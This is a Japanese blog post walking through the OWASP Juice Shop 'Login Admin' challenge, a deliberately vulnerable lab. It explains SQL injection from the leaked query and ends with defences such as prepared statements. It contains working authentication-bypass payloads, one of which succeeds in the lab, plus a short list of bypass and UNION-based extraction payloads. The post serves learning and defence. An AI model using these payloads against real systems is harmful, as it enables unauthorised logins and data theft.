SQLインジェクションから脆弱性について考えてみる
はじめに
この記事では、Juice Shopの「Login Admin」チャレンジを通して、SQLインジェクションの基本的な仕組み、ペイロードの考え方、そして対策について紹介します。本記事で紹介する内容は学習目的であり、許可された環境以外での試行は絶対にしないでください。
OWASP Juice Shopについて
OWASP Juice ShopはWebアプリケーションの脆弱性を安全に学べるように作られた、意図的に脆弱性を持つECサイト風アプリケーションです。私はWindows環境で普段開発していますが、kali Linuxを使えば簡単にDockerで起動できましたので、以下の記事を参考に構築してみてください。
Login Adminチャレンジの流れ
以下のコマンドでJuice Shopを起動します。
docker run --rm -p 3000:3000 bkimminich/juice-shop
Juice Shopが起動したら右上のAccountからログイン画面に遷移してください。
目標は管理者アカウントでログイン、になります。
ここで初期調査として、以下を試します。
- 管理者アカウントのメールアドレスをadmin@juice-sh.opと推測
- 基本的なパスワード("admin"、"password")を試す。
当然、失敗します。
ここで基本的なペイロード「' OR '1'='1」を試してみます。
ブラウザのネットワークタブで何やら複雑なレスポンスが返ってきました。
レスポンスボディにエラーメッセージと共に、SQLの断片らしき文字列が含まれていることを確認します。
ここから、パスワード認証を回避するためのペイロードを組み立てます。
結論から言うと、「admin@juice-sh.op' AND 1=1 --」で認証を突破することができます。
解説は後述します。
解読~エラーメッセージはヒントの宝庫~
このセクションでは、エラーメッセージやSQLの断片から、どのようにして攻撃の糸口を見つけ、ペイロードを調整していったかの思考プロセスを記述します。
エラーメッセージの分析
最初に試したペイロード「' OR '1'='1」で返ってきたエラーメッセージは以下でした。
{
"error": {
"message": "SQLITE_ERROR: near \"b50cd72da9f57f8bf6880303ff5b7622\": syntax error",
"stack": "Error\n at Database.<anonymous> (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:185:27)\n at /juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:50\n at new Promise (<anonymous>)\n at Query.run (/juice-shop/node_modules/sequelize/lib/dialects/sqlite/query.js:183:12)\n at /juice-shop/node_modules/sequelize/lib/sequelize.js:315:28\n at process.processTicksAndRejections (node:internal/process/task_queues:95:5)",
"name": "SequelizeDatabaseError",
"parent": {
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
},
"original": {
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL"
},
"sql": "SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL",
"parameters": {}
}
}
このエラーから入力したシングルクォートがSQLクエリの文字列リテラルを破壊し、その後の OR '1'='1' がSQL構文として解釈されようとしてエラーになったのではないかと推測しました。sqlキーの値を見ると、以下のクエリが発行されていることが分かります。
SELECT * FROM Users WHERE email = 'admin@juice-sh.op' OR '1' = '1'' AND password = 'b50cd72da9f57f8bf6880303ff5b7622' AND deletedAt IS NULL
目標は「管理者アカウントでログイン」です。単純なペイロードでは、どのユーザーでログインできるか絞りにくいです。そこで、email フィールドに「admin@juice-sh.op」を指定しつつ、その後の AND password = ... の部分を無効化する必要があると考えました。
ここまでのプロセスをまとめると以下です。
- 基本的なペイロードを試す
- SQLが含まれているレスポンスが返ってくる
- SQLクエリの構造から、どんなクエリが発行されているか仮説を立てる
- クエリの一部を無効化してログインできる方法を考える
これらの情報から以下のペイロードを組み立てました。
admin@juice-sh.op' AND 1=1 --
admin@juice-sh.op でまず email の文字列リテラルを閉じ、その後に条件 AND 1=1(常に真)を挿入し、最後に -- で残りをコメントアウトするというペイロードです。
なぜこれでログインできた?SQLインジェクションの仕組み
改めて、なぜこのペイロードでログインできたのか見ていきます。
- 元のSQLクエリの推測
SELECT * FROM Users WHERE email = '【ユーザー入力のメール】' AND password = '【ユーザー入力のパスワード】';
- ペイロード挿入後のSQLクエリの変化
SELECT * FROM Users WHERE email = 'admin@juice-sh.op' AND 1=1 -- ' AND password = '...';
ポイントとしては以下になります。
- email = 'admin@juice-sh.op':管理者アカウントを指定
- AND 1=1:常に真となる条件を追加することで、email が管理者であればこの条件全体が真になる。
- --:これ以降のSQLクエリ(パスワード照合部分)をコメントアウトし無効化される。
結果として、「メールアドレスがadmin@juice-sh.opで、かつ1=1(常に真)」という条件だけでユーザーが特定され、パスワードチェックなしでログインが許可された、ということになります。
ペイロードの種類
このセクションでは、SQLインジェクションで使われる代表的なペイロードのパターンをいくつか紹介します。
認証バイパス系ペイロード
- ' OR '1'='1
- ' OR '1'='1' -- (または ' OR '1'='1' #)
- admin' --
- admin' OR 'a'='a
コメントアウトの種類
- -- (ハイフン2つとスペース。スペースが重要)
- /* ... */ (複数行コメント)
UNIONベースのSQLインジェクション (情報漏洩)
- ' UNION SELECT null, version(), database() --
他のテーブルから情報を不正に取得できる攻撃もあります。
攻撃を防ぐための基本的な対策
ここまで攻撃側の視点で話をしましたが、どんな対策を取れば良いのかについて紹介します。
- プリペアドステートメント(プレースホルダー)の利用
これが最も重要かつ効果的な対策ではないでしょうか。SQLクエリの構造とデータを分離することで、ユーザー入力がSQL命令として解釈されるのを防いでくれます。 - 入力値のエスケープ処理
その次に、特殊文字を無害化することは、実装もシンプルで済みますし効果的と思います。 - 入力値の検証(バリデーション)
メールアドレス形式のチェックなど、不正な入力を初期段階で弾くことも重要と思います。 - 多要素認証(MFA)の有効性
最も現代的な解決策ともいえるでしょう。最近のログイン認証はこの手法がほとんどです。認証のレイヤーを増やすことも検討してみるといいです。
多要素認証の有効性、メリット・デメリットについてもそのうちまとめたいと思います。
最後に
「Login Admin」チャレンジを通して、SQLインジェクションの脅威と対策の重要性を実践的に学べたこと、そして何より「解読」していく過程の面白さを体験できました。
Juice Shopには他にもたくさんのチャレンジがあり、今後も挑戦したいです。
Webセキュリティの学習は試行錯誤の連続ですが、実際に手を動かし、現象を分析することで理解が深まる楽しさもあるので、皆さんもやってみてはいかがでしょうか。
皆さんもぜひOWASP Juice Shopで、安全なハッキング体験を通じて多くを学んでみてください。この記事が少しでもその一助となれば幸いです。
Discussion